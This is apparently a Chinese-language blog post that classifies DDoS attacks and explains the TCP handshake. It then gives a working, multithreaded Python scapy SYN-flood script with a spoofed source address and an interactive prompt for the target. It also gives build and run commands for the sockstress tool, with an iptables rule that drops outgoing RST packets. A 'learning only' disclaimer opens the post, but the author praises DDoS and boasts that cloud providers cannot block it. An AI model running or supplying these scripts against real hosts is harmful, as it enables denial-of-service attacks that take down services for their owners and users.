WARNING

本文提供的脚本和思路仅为是为了学习用途,如造成了相关的危害,使用者自行承担相关的法律责任.

DDOS攻击

各大电商平台刚刚经受了最大了一波DDOS攻击,DDOS攻击作为最古老的攻击方式之一,即使到现在威力也是非常强劲,所以个人十分喜爱DDOS这种攻击方式。

DDOS分类

1、syn-flood
   tcp/udp

2、sock-stress

   sock-stress攻击正好与Syn-Flood攻击原理相悖,它正是利用建立TCP/IP三次握手连接来实现拒绝服务攻击,而且与Syn-Flood不同它
   并非通过耗尽服务器的TCP连接数来让正常用户的正常请求无法响应,而是直接耗尽服务端的内存、CPU等资源让受害者宕机,属于非对称的资
   源消耗攻击,这种攻击方式的危害性极大,而且一旦遭受分布式攻击是几乎不能被抵御的.

3、cc-flood

   攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装就叫:CC(ChallengeCollapsar)。CC主要是用来攻击页面的。
   大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,
   数据库压力就越大,被访问的频率也越高,占用的系统资源也就相当可观,所以“双十一”的攻击方式属于CC这个范畴.

4、mid-flood

   中间件/基础框架的DDOS,这种DDOS主要是因为第三方框架/基本服务漏洞造成的,比如struts2、mysql,具体CVE我忘记了,自行google

攻击的过程如下图:

imgsimgs
imgsimgs

三次握手

在介绍具体的方式之前,简述一下三次握手.

imgs

1.第一次握手:Client将标志位(也就是flags位)SYN置为1,随机产生一个值seq=J,并将该数据包发送给Server,Client进入SYN_SENT
状态,等待Server确认.

2.第二次握手:Server收到数据包后由标志位SYN=1知道Client请求建立连接,Server将标志位SYN和ACK都置为1,ack=J+1,随机产生一
个值seq=K,并将该数据包发送给Client以确认连接请求,Server进入SYN_RCVD状态.

3.第三次握手:Client收到确认后,检查ack是否为J+1,ACK是否为1,如果正确则将标志位ACK置为1,ack=K+1,并将该数据发给Server,
Server检查ack是否为K+1,ACK是否为1,如果正确则连接建立成功,Client和Server进入ESTABLISHED状态,完成三次握手,随
后Client与Server之间可以开始传输数据了.

syn-flood攻击原理

1.攻击者先向目标机发送SYN包,请求建立TCP连接.
2.目标机接收到SYN包之后,便会进入SYN_RCVD状态,然后又给攻击者回一个SYN-ACK包.
3.如果攻击者发送SYN包时用的是伪造IP地址,那么目标机发送的SYN-ACK就很可能不可达,得不到ACK来建立完整的三次握手连接,这时
目标机就会保持SYN_RCVD状态直到timeout。想象一下,如果我们一直发送SYN包请求连接,但是又不和目标机器建立完整的TCP连接.
4.如果攻击者用的是本主机真实的IP地址的话,那么攻击者接受到ACK之后正常情况下会回复一个RST包(为什么不是ACK呢,因为攻击时
我们是用pyhton的scapy库来发包的,本地网卡并不认为自己发送了SYN包,莫名奇妙接收到一个SYN-ACK包当然会回复RST包.所以需要
drop掉RST包

syn-flood-code-依赖

sudo pip install scapy
sudo pip install pcapy

 git clone git clone https://github.com/dugsong/libdnet.git   
 cd libdnet
 ./configure && make
 cd python/
 python setup.py install

syn-flood python:

from scapy.all import * 
import threading
import random

def Syn_flood(target_ip, target_port):
    while True:
        port = random.randint(0,10000)
        send(IP(src="1.1.1.1", dst=target_ip)/TCP(dport=target_port, sport=port),verbose=0)

def main(target_ip, target_port, threads):
    print "BEGIN TO ATTACK TARGET"
    for i in range(0, threads):
        t = threading.Thread(target=Syn_flood, args=(target_ip, target_port))
        t.start()

if __name__== "__main__": 
    target_ip = raw_input("Please input the target_ip: ")
    target_port = int(raw_input("Please input the target_port: "))
    threads = int(raw_input("Please input the threads: "))
    main(target_ip, target_port, threads)

sock-stress

 1.首先,攻击者大量请求建立三次握手连接.
 2.成功建立ESTABLISHED之后,攻击者会将数据包中window的值置为0(window的意思代表client这边一次可以接受的数据大小,置为0之后
 表示client没有window来接受server发来的数据,然后server就会分配内存来维持TCP连接直到client有空闲的window与之通信),然而
 攻击者可不会维持什么连接,他只会不断的请求TCP连接耗尽server的资源.
 3.当server这端维持连接达到一定数量之后,内存、CPU甚至是SWAP分区都会被耗尽,系统命令不能正常执行.   

sock-stress-code

 git clone https://github.com/defuse/sockstress
 cd sockstress
 make    
 iptables -A OUTPUT -p TCP --tcp-flags rst rst -d xx.xx.xx.xx -j DROP
 ./sockstress xx.xx.xx.xx:80 eth0 -p payloads/http -d 100

END

阿里云也挡不住~因为压根就没有使用分布式

imgs

发表评论

电子邮件地址不会被公开。 必填项已用*标注